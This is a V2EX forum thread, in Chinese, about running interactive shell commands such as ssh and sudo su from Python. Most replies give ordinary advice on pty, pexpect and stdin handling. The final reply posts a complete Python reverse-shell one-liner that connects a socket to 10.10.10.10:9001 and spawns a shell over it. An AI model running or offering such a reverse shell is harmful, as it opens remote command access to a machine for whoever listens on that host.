Python 如何运行有交互的 Shell 命令

2022-10-16 13:41:16 +08:00
 monetto

运行单次命令的时候,一开始用的是 popen()

后来用的是 subprocess.Popen('/bin/sh', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT),因为这样可以获取上下文。 (例如 export a=5, echo a)

但是这样还是运行不了 ssh 或者 sudo su 等有交互式的命令,有什么好的方法可以解决吗

( PS: 我知道有 ssh 或者 sudo 的附带密码方案,但是这样解决不了所有的交互式问题)

2094 次点击
所在节点    程序员
7 条回复
cxtrinityy
2022-10-16 14:40:17 +08:00
import pty;pty.spawn("/bin/sh")
cxtrinityy
2022-10-16 14:41:34 +08:00
@cxtrinityy 可能理解错了, 请忽略
bantianys
2022-10-16 15:55:48 +08:00
pexpect 这个模块能满足需求吗?
LindsayZhou
2022-10-16 16:03:33 +08:00
如果你是要手动敲,stdin 参数可以用 sys.stdin 。
如果你是要自动输,我记得返回的对象有个 stdin 属性可以往里写东西。

如果你要是用 asyncio 包,还可以自己继承 Protocol ,重写 pipe_data_received 方法。这个没什么文档,你要翻 py 源码。
LindsayZhou
2022-10-16 16:11:14 +08:00
# 4

关于自动响应。
如果你感兴趣,我的代码里是用的重写 SubprocssProtocol 的方式: https://git.sr.ht/~lindsay/poke/tree/master/item/poke/context.py

入口是 Context.shell 函数,Watcher 对象是一个简单的包装,只有用来匹配的正则,上次匹配位置(避免重复匹配),自动响应文本。

invoke 包里也有一个 responder 类,不过它的实现方法更麻烦,好像另外起了一个线程来监听输出。
leonshaw
2022-10-16 16:28:27 +08:00
开个 pty ,slave 给到子进程,master 上读写
jindom
2022-10-17 09:49:43 +08:00
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/887285

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX